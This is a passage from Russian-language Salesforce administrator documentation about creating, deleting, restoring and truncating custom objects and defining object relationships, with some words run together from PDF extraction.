Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При создании настраиваемого объекта несколько полей обязательны для заполнения
и предназначены для определения порядка доступа к объекту.

Прим.: Если администратор создал вкладку без справки, обратитесь к
администраторудляполученияпомощикасательноработынастраиваемогообъекта.

ОписаниеПоле

Это имя используется для обозначения
объекта на всех страницах
пользовательского интерфейса.

Метка

Имя объекта во множественном числе.
Данное имя используется на вкладке,
созданной для объекта.

Метка множественного числа

При необходимости укажите род метки.
Данное поле отображается только в том

Род

случае, если язык, используемый в
организациипоумолчанию, поддерживает
категориюрода. Параметрыличногоязыка
не влияют на отображение данного поля.

Укажите, следуетлииспользовать артикль
«an» вместо «a» для этойметки, еслиданное
правило применимо к вашему языку.

Начинается с гласного звука
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ОписаниеПоле

Уникальное имя, позволяющее ссылаться на объект при
использовании API. Данное имя позволяет избежать

Имя объекта

конфликтов имен при установке управляемых пакетов.
Используйте только буквы, цифры и символы
подчеркивания. Имя должно начинаться с буквы и не
должносодержатьпробелов. Имянеможетсодержатьдвух
последовательных символов подчеркивания, а также не
может заканчиваться символом подчеркивания.

Дополнительное описание объекта.Описание

Данноеполеопределяет текст, отображаемыйпринажатии
ссылки «Справка для этой страницы» на начальной

Параметры контекстно-зависимой справки

страницеили странице сведенийо записинастраиваемого
объекта, а также в списковых представлениях и связанных
списках.

ЧтобыоткрыватьстандартнуюсправкуSalesforce, доступную
для любых записей настраиваемого объекта, установите
флажок«Открытьстандартноеокно Salesforce "Справка
и обучение"».

Чтобы открывать настраиваемыйфайл справки уровня
объекта для данного настраиваемого объекта, установите
флажок «Открыть окно с помощью страницы
Visualforce», а затемвыберите страницуVisualforce в качестве
целевой ссылки на контекстную справку для этих страниц
настраиваемых объектов.

Прим.: Этот параметрне влияет на ссылку «Справка
и обучение» вверху страницы. Данная ссылка всегда
открывает окно Salesforce «Справка и обучение».

Имя, используемое в макетах страниц, списковых
представлениях, связанных списках и результатах поиска.

Имя записи

Тип поля (текст или автонумерация) для имени записи.
Записи с уникальными кодами вместо имен нумеруются
автоматически и всегда доступны только для чтения.

Тип данных

Для имени записи с автоматической нумерацией введите
формат отображения. Система позволяет использовать не

Формат отображения

более двух наборов фигурных скобок. Дополнительную
информацию см. в разделе «Атрибуты настраиваемых
полей» на странице 4508.

Для имени записи с автоматической нумерацией введите
номер, которыйбудетиспользоватьсяприсозданиипервой
записи этого настраиваемого объекта.

Начальный номер
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ОписаниеПоле

Чтобы разрешить составление отчетов по данным,
доступным в записях настраиваемого объекта, установите
данныйфлажок.

Чтобы создать отчеты по настраиваемым объектам,
выберите категорию типа отчета «Другие отчеты», если

Разрешить отчеты

настраиваемыйобъектне связан со стандартнымобъектом.
Если настраиваемый и стандартный объекты связаны
посредством взаимосвязи «Основная — подробная» или
«Поиск», выберите стандартныйобъект для категориитипа
отчета.

Чтобы разрешить пользователям связывание задач и
запланированных календарных событий, связанных с

Разрешить действия

записями настраиваемого объекта, установите данный
флажок.

Чтобы разрешить пользователям добавление записей
данного типа настраиваемого объекта в группы Chatter,
установите данныйфлажок.

При значении true пользователи, обладающие
требуемыми полномочиями, могут создавать записи для

Разрешить в группах Chatter

данного типа объектов с использованием публикатора
группы. Созданная запись привязывается к группе и
отображается в списке записей группы. При значении
false пользователи, обладающие требуемыми
полномочиями, могут использовать публикатор группы
для создания записей для этого типа объектов, но запись
не привязывается к группе.

Если организация использует подразделения, установите
данныйфлажок, чтобывключитьподдержкуподразделений

Включить подразделения

для настраиваемых объектов. Группировка записей по
подразделениям позволяет упростить результаты поиска,
списковые представления, отчеты и другие области
Salesforce. Salesforce добавляет поле «Подразделение» в
настраиваемыйобъект. Еслинастраиваемыйобъектявляется
основным во взаимосвязи «Основной — подробный», в
настраиваемых объектах на стороне подробных также
создается поле «Подразделение», значение которого
наследуется от основной записи.

Чтобы предоставить всем пользователям портала доступ к
настраиваемому объекту, установите данныйфлажок.

Данный параметр доступен только при использовании
клиентского портала.

Доступно для клиентского портала
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ОписаниеПоле

Данный параметр не отображается после включения
сообществ, а все настраиваемые объекты доступны для
использования в сообществах. Настраиваемые объекты,
которые до включения сообществ были недоступны на
клиентском портале, становятся доступными для
использования на клиентском портале.

Позволяет организации отслеживать изменения полей в
записях настраиваемых объектов. Например, журнал

Отслеживать журнал поля

регистрирует изменившего поле пользователя, дату
изменения, значениедоизмененияипосле. Данныежурнала
доступны для составления отчетов, поэтому при наличии
данного флажка пользователи могут быстро создавать
отчеты по контрольным журналам.

Еслиданныйпараметрвключен, тоданныйнастраиваемый
объект являетсяобъектом Enterprise Application. Еслиданный

Разрешить общий доступ

параметр выключен, то данный настраиваемый объект
является объектом Light Application.

При включении данного параметра рекомендуем также
включить параметры «Разрешить доступ к Bulk API»

и «Разрешить доступ к Streaming API».

Еслиданныйпараметрвключен, тоданныйнастраиваемый
объект являетсяобъектом Enterprise Application. Еслиданный

Разрешить доступ к Bulk API

параметр выключен, то данный настраиваемый объект
является объектом Light Application.

При включении данного параметра рекомендуем также
включить параметры «Разрешить общий доступ» и
«Разрешить доступ к Streaming API».

Еслиданныйпараметрвключен, тоданныйнастраиваемый
объект являетсяобъектом Enterprise Application. Еслиданный

Разрешить доступ к Streaming API

параметр выключен, то данный настраиваемый объект
является объектом Light Application.

При включении данного параметра рекомендуем также
включить параметры «Разрешить доступ к Bulk API»

и «Разрешить общий доступ».

Данное поле определяет доступность настраиваемого
объекта другим пользователям.

Статус развертывания

Чтобы позволить пользователям находить записи
настраиваемых объектов при помощи поиска, создайте

Разрешить поиск

настраиваемую вкладку с параметром «Включены
стандартные параметры» или «Отключены стандартные
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параметры». Создание настраиваемой вкладки позволяет
использовать параметр «Разрешить поиск»
настраиваемого объекта.

Записи настраиваемых объектов доступны для поиска в
пользовательском интерфейсе Salesforce только при
наличии связи между настраиваемым объектом и
настраиваемой вкладкой. Вкладка может не отображаться.

Данное поле позволяет пользователям прикреплять
примечанияивложенияк записямнастраиваемогообъекта.

Данный параметр доступен только при создании объекта.

Добавить примечания и вложения...

Чтобы разрешить запуск мастера создания настраиваемой
вкладки после сохранения настраиваемого объекта,
установите данныйфлажок.

Запустить мастер создания настраиваемой вкладки

СМ. ТАКЖЕ:

Определение настраиваемого объекта

Рекомендации по созданию настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Перед созданием настраиваемого объекта обязательно ознакомьтесь с данными
рекомендациями.

Полномочия объекта
Вверсиях Enterprise Edition, Unlimited Edition, Performance Editionи Developer Edition при
создании настраиваемого объекта полномочия «Чтение», «Создание»,
«Редактирование» и «Удаление» для созданногообъектаотключенывтехпрофилях,
гдеотключенополномочие «Просмотрвсех данных» или «Изменение всех данных».
Включите доступ к настраиваемым объектам в наборах полномочий или
настраиваемых профилях, и назначьте их соответствующим пользователям.

В версиях Contact Manager, Group Edition и Professional Edition полномочия «Чтение»,
«Создание», «Редактирование» и «Удаление» для созданногонастраиваемогообъекта
включены во всех профилях.

Модель общего доступа
Параметрпоумолчаниюраспространяетсянавсюорганизациюиуправляетмодельюобщегодоступакнастраиваемым
объектам. Дополнительную информацию см. в разделе «Безопасность настраиваемых объектов» на странице 4472.

Делегирование администрирования настраиваемыми объектами
После созданиянастраиваемогообъектаможноделегировать его администрированиепользователям, не являющимся
администраторами.
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Очереди
Созданному настраиваемому объекту может быть назначена очередь, позволяющая распределить ответственность
за записи настраиваемого объекта среди пользователей.

СМ. ТАКЖЕ:

Определение настраиваемого объекта

Изменение настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
настраиваемых объектов:
• «Настройка

приложения»

Чтобынастроитьпользовательскийинтерфейсдлянастраиваемыхобъектов, выполните
указанные ниже действия.

• Созданиенастраиваемойвкладки (см. раздел «Определениенастраиваемыхвкладок»
на странице 4397).

• Создание настраиваемых полей и взаимосвязей (см. раздел «Определение полей
настраиваемых объектов» на странице 4450).

• Добавление настраиваемых кнопок и ссылок для выполнения действий или ссылок
на другие страницыили веб-сайты (см. раздел «Определениенастраиваемых кнопок
и ссылок» на странице 5387).

• Определение полей, которые должны отображаться пользователям на страницах
сведений и редактирования записей (см. раздел «Создание макетов страниц для
настраиваемых объектов» на странице 4377).

• Выбор полей, которые должны отображаться пользователям в результатах поиска,
диалоговых окнах поиска и основных списках на вкладках настраиваемых объектов
(см. раздел «Настройка макетов поиска для настраиваемых объектов» на странице
4471).

• Создание типов записей для отображения различных значений раскрывающегося
списка и макетов страниц разным пользователям на основе профилей (см. раздел
«Создание типов записей настраиваемых объектов» на странице 4470).
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Определение полей настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Подразделения недоступны
в версии Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и
редактирования
стандартных полей:
• «Настройка

приложения»

Для создания настраиваемых
полей:
• «Настройка

приложения»

Поля настраиваемых объектов хранят данные, указанные в записях настраиваемых
объектов.

Настраиваемые поля для настраиваемых объектов
Пользователимогут создаватьнастраиваемыеполядляхраненияуникальныхданных.
Кроме того, пользователи могут создавать настраиваемые поля взаимосвязи для
связывания настраиваемых объектов Salesforce.

Стандартные поля для настраиваемых объектов
Ниже перечислены стандартные поля, которые автоматически добавляются в
настраиваемые объекты. Чтобы изменить любое редактируемое поле, щелкните
«Правка».

ОписаниеПоле

Автор записи.Создано

Валюта записи, есливключенаподдержка
мультивалюты.

Валюта

Подразделение, которому принадлежит
запись настраиваемого объекта.
Настраиваемые объекты, являющиеся
подробными во взаимосвязи
«Основная — подробная», наследуют
подразделение основного объекта.
Настраиваемым объектам, которые не
связаны с другими записями,
автоматически назначается глобальное
подразделение. Данное поле доступно
только для организаций, использующих
подразделения для сегментирования
данных.

Подразделение

Пользователь, изменивший запись
последним.

Последнее изменение сделано

Идентификатор записи настраиваемого
объекта. Данное имя отображается в

Имя

макетах страниц, связанных списках,
диалоговых окнах поиска, результатах
поиска и основных списках на начальных
страницахвкладок. Поумолчаниюданное
поле добавляется в макет страницы
настраиваемыхобъектовкакобязательное.

Назначенный ответственный за запись
настраиваемого объекта. Если

Ответственный

настраиваемый объект становится
подробным во взаимосвязи
«Основная — подробная», то данное поле
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ОписаниеПоле

удаляется, таккакответственностьзаданныеконтролируется
основным объектом или первичным основным объектом
при использовании настраиваемого объекта с двумя
взаимосвязями «Основная — подробная».

Прим.: Настраиваемые подробные объекты во
взаимосвязи «Основная — подробная» не
поддерживают правила общего доступа,
предоставлениеобщегодоступа вручнуюиочереди,
так каконитребуютналичияполя «Ответственный».

Удаление настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удалениянастраиваемых
объектов:
• «Настройка

приложения»

Система Salesforce не перемещает удаленный настраиваемый объект в корзину. Вместо
корзины, удаленные объекты в течение 15 дней отображаются в списке «Удаленные
объекты». В течение этого времени, обратимо удаленные объекты и их данные могут быть
восстановлены или удалены без возможности восстановления. По истечении 15 дней объект
и его данные автоматически удаляются без возможности восстановления.

В отличие от элементов, удаленных без возможности восстановления, обратимо
удаленныенастраиваемыеобъектыиихданныеучитываютсяограничениями, заданными
в организации.

Чтобы удалить настраиваемый объект, выполните указанные ниже действия.

1. Откройте параметры управления объектом для настраиваемых объектов, щелкните
«Удал.» напротив объекта, который необходимо удалить.

2. Чтобы подтвердить удаление, установите флажок «Да, удалить настраиваемый
объект» и нажмите кнопку «Удалить» в окне предупреждения.

Почему некоторые настраиваемые объекты не могут быть удалены?

Ниже перечислены условия, препятствующие удалению настраиваемого объекта.

• Объект является основным во взаимосвязи «Основная — подробная».

• Объект содержит настраиваемые поля, используемые в полях сводного
резюмирования другого объекта.

• Объект используется кодом Apex, страницей Visualforce или отчетным снимком.

• Объект используется повторяющимся правилом или правилом соответствия.

• Объект содержит более 100 000 записей. Чтобы удалить объект, содержащий более 100 000 записей, сначала удалите
необходимое количество записей, а затем удалите сам объект.

Результаты удаления настраиваемых объектов

Ниже перечислены действия, выполняемые системой Salesforce при удалении настраиваемого объекта.

• Отображение сообщения «Недостаточно полномочий» при выборе закладки на URL-адрес записи удаленного
настраиваемого объекта.
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• Удаление объекта из пакетов Force.com AppExchange.

• Замена взаимосвязи «Основная — подробная» взаимосвязью «Поиск», если удаленный объект является подробным
во взаимосвязи «Основная — подробная».

• Удаление:

– Настраиваемая вкладка объекта

– Списковые преставления и бизнес-правила для объекта

– Параметрымобильной конфигурации, включаянаборыданных, мобильныепредставленияиисключенныеполя

– Типы стандартных отчетов, связанные с объектом, и отчеты, основанные на типах стандартных отчетов, если
удаленный объект является подробным во взаимосвязи «Основная — подробная»

• Скрытие, блокировка или отключение:

– Определение настраиваемого объекта и связанные определения

– Записи объекта и связанные записи, включая записи, хранящиеся в корзине

– Типы настраиваемых отчетов, где удаленный объект является основным

– Настраиваемые отчеты, где удаленный объект является основным

– Поля настраиваемойформулы для объекта

– Настраиваемые правила проверки и процессы утверждения для объекта

Прим.: Многие удаленные, скрытые, неактивные или отключенные элементы могут быть восстановлены при
восстановлении настраиваемого объекта. Информациюо восстановлении удаленных настраиваемых объектов см.
в разделе «Управление удаленными настраиваемыми объектами».

Результаты необратимого удаления настраиваемых объектов

Необратимое удаление настраиваемого объекта вручную или автоматически по истечении 15 дней инициирует:

• Удаление определения и данных настраиваемого объекта без возможности восстановления.

• Исключение настраиваемого объекта и его данных из ограничений, установленных для организации.

• Невозможностьвосстановленияосновныхзаписей, хранящихсявкорзине, приавтоматическомудалениикакминимум
одной подробной записи в результате удаления основной записи, если удаленный объект является подробным во
взаимосвязи «Основная — подробная». Попытка восстановления основной записи возвращает ошибку.

Прим.: Данныйалгоритмвыполняется толькопринеобратимомудаленииопределениянастраиваемогообъекта
из удаленных подробных записей после перемещения основной записи в корзину.

СМ. ТАКЖЕ:

Управление удаленными настраиваемыми объектами

Поиск по параметрам управления объектами
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Управление удаленными настраиваемыми объектами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для восстановления
удаленных настраиваемых
объектов:
• «Настройка

приложения»

Для необратимого удаления
настраиваемых объектов:
• «Настройка

приложения»

Удаленныенастраиваемыеобъектывтечение 15 днейотображаютсявсписке «Удаленные
объекты». В течение этого времени, объект и его данные могут быть восстановленыили
удалены без возможности восстановления. Восстановление настраиваемого объекта
можетпотребоватьвосстановлениявручнуюсписковыхпредставленийидругихнастроек,
использующих данный объект.

• Чтобыпросмотретьсписокудаленныхнастраиваемыхобъектов, выполнитеуказанные
ниже действия.

1. Откройте параметры управляемого объекта для настраиваемых объектов.

2. Щелкните ссылку «Удаленные объекты» в нижней части списка.

Ссылка «Удаленныеобъекты» отображаетсятолькоприналичиикакминимумодного
удаленного настраиваемого объекта. Общее количество удаленных настраиваемых
объектов отображается в скобках.

• Ниже перечислены действия, доступные в списке «Удаленные объекты».

– Чтобы просмотреть сведения об объекте, щелкните метку нужного объекта.

– Чтобы удалить объект и его данные без возможности восстановления, щелкните
ссылку «Удалить».

– Чтобы восстановить объект и его данные, щелкните ссылку «Восстановить».

Результаты необратимого удаления настраиваемых объектов

Необратимое удаление настраиваемого объекта вручную или автоматически по
истечении 15 дней инициирует:

• Удаление определения и данных настраиваемого объекта без возможности
восстановления.

• Исключение настраиваемого объекта и его данных из ограничений, установленных для организации.

• Невозможностьвосстановленияосновныхзаписей, хранящихсявкорзине, приавтоматическомудалениикакминимум
одной подробной записи в результате удаления основной записи, если удаленный объект является подробным во
взаимосвязи «Основная — подробная». Попытка восстановления основной записи возвращает ошибку.

Прим.: Данныйалгоритмвыполняется толькопринеобратимомудаленииопределениянастраиваемогообъекта
из удаленных подробных записей после перемещения основной записи в корзину.

Ограничения по восстановлению усеченных настраиваемых объектов

Копииусеченныхнастраиваемыхобъектов такжеотображаются в списке удаленныхобъектов. Усеченныенастраиваемые
объектынемогут быть полностьювосстановлены, даже приналичии копии, хранящейся в списке «Удаленные объекты».
Восстановленные копии усеченных объектов используют новое имя и новый URL-адрес, а некоторые поля и данные не
могут быть восстановлены вручную.

Восстановление настраиваемого объекта в исходное состояние

Восстановлениеудаленногонастраиваемогообъектаинициируетвосстановлениеегозаписей, включаязаписи, хранящиеся
в корзине.
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Прим.: Поиск записей восстановленного объекта может быть доступен только через несколько часов.

Чтобы гарантировать восстановление объекта в исходное состояние, просмотрите все соответствующие компоненты и
настройки, которые при необходимости должны быть исправлены.

Пакеты AppExchange
Добавьте настраиваемый объект в соответствующие пакеты Force.com AppExchange.

Настраиваемые вкладки
Восстановите настраиваемую вкладку для объекта и добавьте ее в нужные настраиваемые приложения.

Списковые представления, отчеты и бизнес-правила
Восстановите данные компоненты.

Правила проверки и процессы утверждения
Восстановите данные компоненты.

Поляформулы
Чтобыповторноактивироватьлюбыеполянастраиваемойформулыдляобъекта, откройтеисохранитенужныеполя.

Макеты страниц
Макеты страниц для восстановленного объекта восстанавливаются автоматически. Кроме того, макеты страниц
восстанавливаются автоматически для других объектов, использующих макет страницы в связанном списке, при
условии, что макет страницы не редактировался во время удаления объекта. В противном случае добавьте связанный
список в другой объект.

Типы настраиваемых отчетов
Добавьте ссылку на восстановленный объект в типы настраиваемых отчетов, где удаленный объект не является
основным. Отчеты, основанныена типенастраиваемыхотчетов, восстанавливаются автоматически, при условии, что
данные отчеты не редактировались во время удаления объекта. Восстановите любые измененные отчеты.

Взаимосвязи
Взаимосвязь «Основная — подробная», где удаленный настраиваемый объект является подробным, преобразуется
системойSalesforceвовзаимосвязь «Поиск». Преобразуйтеданнуювзаимосвязьвовзаимосвязь «Основная — подробная».

Имя разработчика
Имяразработчикаобъектаизмененона: имяОбъекта_del. Восстановитеисходноеимя (имяОбъекта_c), необходимоедля
надлежащей работы соответствующих настроек.

Статус развертывания
При удалении настраиваемого объекта полю «Статус развертывания» задано значение «В разработке». Установите
статус «Развернуто» после восстановления всех настроек, связанных с восстановленным объектом.

СМ. ТАКЖЕ:

Удаление настраиваемых объектов

Усечение настраиваемых объектов

Поиск по параметрам управления объектами
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Усечение настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прежде чем использовать усечение для удаления записей, рекомендуем просмотреть
действия, выполняемые при усечении объекта.

Усечение настраиваемого объекта позволяет пользователям удалять все записи объекта
без удаления самого объекта и его метаданных. Усечение настраиваемых объектов
аналогично функции пакетного удаления, доступной для стандартных объектов.

Копия усеченного настраиваемого объекта хранится системой Salesforce в списке
«Удаленныеобъекты» в течение 15 дней. Имяусеченногообъектаиспользуетследующий
формат: имяОбъекта_trunc[номер]. В течение этого времени, объект и его записи
продолжают учитываться текущими ограничениями.

Поистечении 15 дней записи удаляются без возможности восстановления и больше не
учитываются текущими ограничениями.

Важное замечание: Усеченные настраиваемые объекты не могут быть полностью
восстановлены, даже при наличии копии, хранящейся в списке «Удаленные
объекты».

Ниже перечислены стандартные и настраиваемые объекты, которые не могут быть усечены.

• Объект, используемый другим объектом посредством поля поиска, или являющийся основным во взаимосвязи
«Основная — подробная».

• Объект, используемый отчетным снимком.

• Объект, использующий настраиваемый индекс или внешний код.

• Объект, использующий активированные информационные таблицы.

Кроме того, настраиваемые объекты не могут усекаться при достижении организацией ограничения по количеству
настраиваемых объектов.

Ниже перечислены элементы, удаляемые при усечении настраиваемого объекта.

• Все записи, хранящиеся в корзине настраиваемого объекта

• Журнал настраиваемого объекта

• Связанные события, задачи, примечания и вложения для каждой удаленной записи

Ниже перечислены элементы, которые становятся недействительными при усечении настраиваемого объекта.

• Закладкина усеченныеобъектыиих записи. Привыборе закладкина усеченныйнастраиваемыйобъектили URL-адрес
удаленной записи система Salesforce отображает сообщение «Недостаточно полномочий».

• Сценарии Apex и страницы Visualforce, ссылающиеся на усеченный объект или запись.

Усеченныйнастраиваемыйобъектдоступендляиспользованияидобавленияновыхзаписей. Нижеперечисленыэлементы,
сохраняемые системой Salesforce.

• Определение настраиваемого объекта и все связанные определения

• Бизнес-правила, действия и триггеры

• Правила общего доступа, связанные с настраиваемым объектом

• Правила проверки и процессы утверждения

• Взаимосвязи «Основная — подробная» и поля формулы

• Переводы

• Параметры мобильной конфигурации
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Ниже перечислены рекомендации по работе с усеченными объектами.

• Вкладка усеченного объекта использует новый URL-адрес, поэтому требует создания новой закладки.

• Списковые представления и отчеты требуют обновления.

• Поля сводного резюмирования требуют повторного пересчета.

• API не поддерживает возможность усечения.

• Чтобы сократить объекты, содержащие взаимосвязи «Основная — подробная», рекомендуем сначала сократить
подробные (дочерние) объекты, а затем основные (родительские) объекты.

СМ. ТАКЖЕ:

Усечение настраиваемых объектов

Управление удаленными настраиваемыми объектами

Усечение настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для усечениянастраиваемых
объектов:
• «Настройка

приложения»

Усечение настраиваемых объектов позволяет пользователям безвозвратно удалять все
записи объекта без удаления самого объекта и его метаданных.

Важное замечание: Усечение настраиваемых объектов инициирует необратимое
изменение усеченного объекта и его записей. Прежде чем проводить усечение,
просмотрите раздел «Общие сведения об усечении настраиваемых объектов».
После этого включитефункцию для своей организации, для этого введите строку
«Интерфейс пользователя» вполе «Быстрый поиск», выберитепункт «Интерфейс
пользователя» и выберите полномочие.

Усечениенастраиваемыхобъектов — это быстрый способнеобратимого удаления всех
записей настраиваемого объекта без удаления самого объекта и его метаданных.
Рекомендуем использовать усечение для удаления тестовых записей созданного
настраиваемого объекта. Благодаря усечению объекта, пользователь может удалить
тестовые записи, но сохранить сам объект для последующей активации в
производственнойорганизации. Вотличиеотпакетногоудаления записейивероятного
восстановления объекта, усечение требует меньших временных затрат.

1. Откройте параметры управляемого объекта для настраиваемых объектов.

2. Чтобы открыть страницу сведений об объекте, щелкните имя нужного объекта и
нажмите кнопку «Сократить».

3. Просмотрите предупреждение и введите имя нужного объекта в пустое поле окна
«Подтвердить усечение настраиваемого объекта».

4. Нажмите кнопку «Сократить».

СМ. ТАКЖЕ:

Управление удаленными настраиваемыми объектами

Поиск по параметрам управления объектами
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Отслеживание показателей использования настраиваемых объектов организации по
типу лицензии пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настраиваемые объекты
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Типы настраиваемых
отчетов доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Чтобы отслеживать количество настраиваемых объектов, назначенных пользователям,
рекомендуем создать тип настраиваемого отчета, где объект «Лицензии пользователя»
является основным, а объект «Показатели использования настраиваемых объектов по
лицензии пользователя» является дочерним.

1. В разделе «Настройка» введите «Типы отчетов» в поле «Быстрый поиск», затем
выберите «Типы отчетов».

2. Нажмите кнопку «Создать тип настраиваемого отчета».

3. Заполните поля.

ЗначениеПоле

Лицензии пользователяОсновной объект

Метка для данного типа отчета. Данная
метка отображается пользователям при
создании отчета.

Например, «Использование настраиваемых
объектов по лицензии пользователя».

Метка типа отчета

Уникальноеимядляданноготипаотчета.Имя типа отчета

Описание для данного типа отчета.
Данное описание отображается
пользователям при создании отчета.

Описание

Другие отчетыСохранить в категории

4. Чтобы разрешить другим пользователям доступ к данному типу отчета, задайте
параметру «Статус развертывания» значение «Развернуто».

5. Нажмите кнопку «Далее».

6. Щелкните поле под основным объектом.

7. Выберитеобъект «Показателииспользованиянастраиваемыхобъектовполицензии
пользователя».

8. Нажмите кнопку «Сохранить».

9. Создайте отчет посредством нового типа отчета.
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Общие сведения о взаимосвязях объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Созданиевзаимосвязидля связыванияобъектовдруг с другомтакимобразом, чтобыпри
просмотре записей также отображались связанные данные. Например, связывание
настраиваемого объекта «Ошибки» с обращениями для отслеживания недостатков
продукта, связанных с обращениями клиентов.

Пользователимогутопределятьразныетипывзаимосвязейпутемсозданиянастраиваемых
полей взаимосвязи для объекта. Прежде чем начать создание взаимосвязей, определите
тип нужной взаимосвязи.

Разные типы взаимосвязей между объектами Salesforce определяют способы удаления
данных, предоставления общего доступа и обработки обязательных полей в макетах
страниц. Рассмотрим типы взаимосвязей.

Основная–подробная
Данныйтипвзаимосвязиустанавливаеткрепкуюсвязьмеждуобъектами, гдеосновная
записьконтролируетнекоторыеалгоритмыподробнойиболееподробнойзаписей.
Например, пользовательможет задать взаимосвязь «Основная—подробная», состоящуюиздвухобъектов (например,
«Организация — Отчет по расходам»), а затем расширить данную взаимосвязь путем добавления более подробных
записей (например, «Организация — Отчетпорасходам — Элементстрокирасходов»). Принеобходимостивыполните
нужные действия во взаимосвязи «Основная — подробная — более подробная».

Алгоритмы взаимосвязей «Основная—подробная»:

• Удаление подробной записи инициирует ее перемещение в корзину, но сохраняет основную запись; удаление
основной записи инициирует удаление связанных подробных и более подробных записей. Восстановление
подробной записи инициирует только ее восстановление; восстановление основной записи инициирует
восстановлениесвязанныхподробныхиболееподробных записей. Однако удаленнаяподробная записьнеможет
быть восстановлена при последующем удалении связанной основной записи.

• По умолчанию данные взаимосвязи не поддерживают переподчинение записей. Тем не менее, чтобы разрешить
дочернимзаписямвовзаимосвязях «Основная — подробная» длянастраиваемыхобъектовпереподчинениедругим
родительским записям, администратор организации должен установить флажок «Разрешить переподчинение»
в определении взаимосвязи «Основная — подробная».

• Поле подробной и более подробной записей «Ответственный» недоступно и автоматически назначается
ответственномузаосновнуюзапись. Настраиваемыеподробныеобъектывовзаимосвязи «Основная — подробная»
не поддерживают правила общего доступа, предоставление общего доступа вручную и очереди, так как они
требуют наличия поля «Ответственный».

• Параметрыбезопасностиосновной записиопределяютпараметрыбезопасностиподробнойиболее подробной
записей.

• Поле взаимосвязи «Основная—подробная», связывающее объекты, является обязательным в макете страницы
подробной и более подробной записей.

• Основным объектом может являться стандартный объект (например, организация или возможность) или
настраиваемый объект.

• Количество дочерних записей для взаимосвязи «Основная — подробная» не должно превышать 10 000.

Многие ко многим
Взаимосвязи «Основная — подробная» могут использоваться для моделирования взаимосвязей «Многие ко многим»
междулюбымидвумяобъектами. Взаимосвязь «Многиекомногим» позволяет связыватькаждуюзаписьодногообъекта
снесколькимизаписямидругогообъектаинаоборот. Например, настраиваемыйобъект «Ошибка» можетбыть связан
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со стандартнымобъектом «Обращение» такимобразом, чтоошибкаможетбыть связана снесколькимиобращениями,
а обращение может быть связано с несколькими ошибками.

Поиск
Данныйтипвзаимосвязиустанавливает связьмеждудвумяобъектами. Взаимосвязи «Поиск» аналогичнывзаимосвязям
«Основная — подробная», нонеподдерживаютобщийдоступиполя сводногорезюмирования. Взаимосвязь «Поиск»
поддерживает:

• Связывание двух разных объектов.

• Связывание объекта с самим собой (кроме объекта «Пользователь»; см. подраздел «Иерархическая» на странице
4460). Например, настраиваемый объект «Ошибка» может быть связан с самим собой для просмотра способа
связывания двух разных ошибок с одной проблемой.

Прим.: Взаимосвязи «Поиск», которыесозданынаосновеобъектов, связанныхсобъектом «Участниккампании»,
не поддерживаются. Однако пользователь может создать взаимосвязи «Поиск» на основе объекта «Участник
кампании», связанного с другими объектами.

Ниже перечислены параметры, которые могут быть заданы при создании взаимосвязи «Поиск».

• Назначьте полюпоиска статус обязательного при сохранении записи, а также обязательного в соответствующем
макете страницы.

• Если поле поиска является необязательным, выберите один из трех алгоритмов, выполняемых при удалении
записи поиска.

– «Удалить значение данного поля»: значение по умолчанию. Рекомендуем использовать данный алгоритм,
если поле не должно содержать значение из связанной записи поиска.

– «Запретить удаление записи поиска, которая является частью взаимосвязи поиска»: данное значение
препятствует удалению записи поиска при наличии зависимостей (например, бизнес-правило), созданных на
основе взаимосвязи.

– «Также удалить данную запись»: данное значение доступно только в том случае, еслинастраиваемыйобъект
содержит взаимосвязь «Поиск», которая не принадлежит стандартному объекту. Тем не менее, объект поиска
может быть стандартнымилинастраиваемым. Рекомендуемиспользовать данный алгоритм, если поле поиска
и связанная запись тесно взаимосвязаны, а пользователю требуется удалить связанные данные.Например,
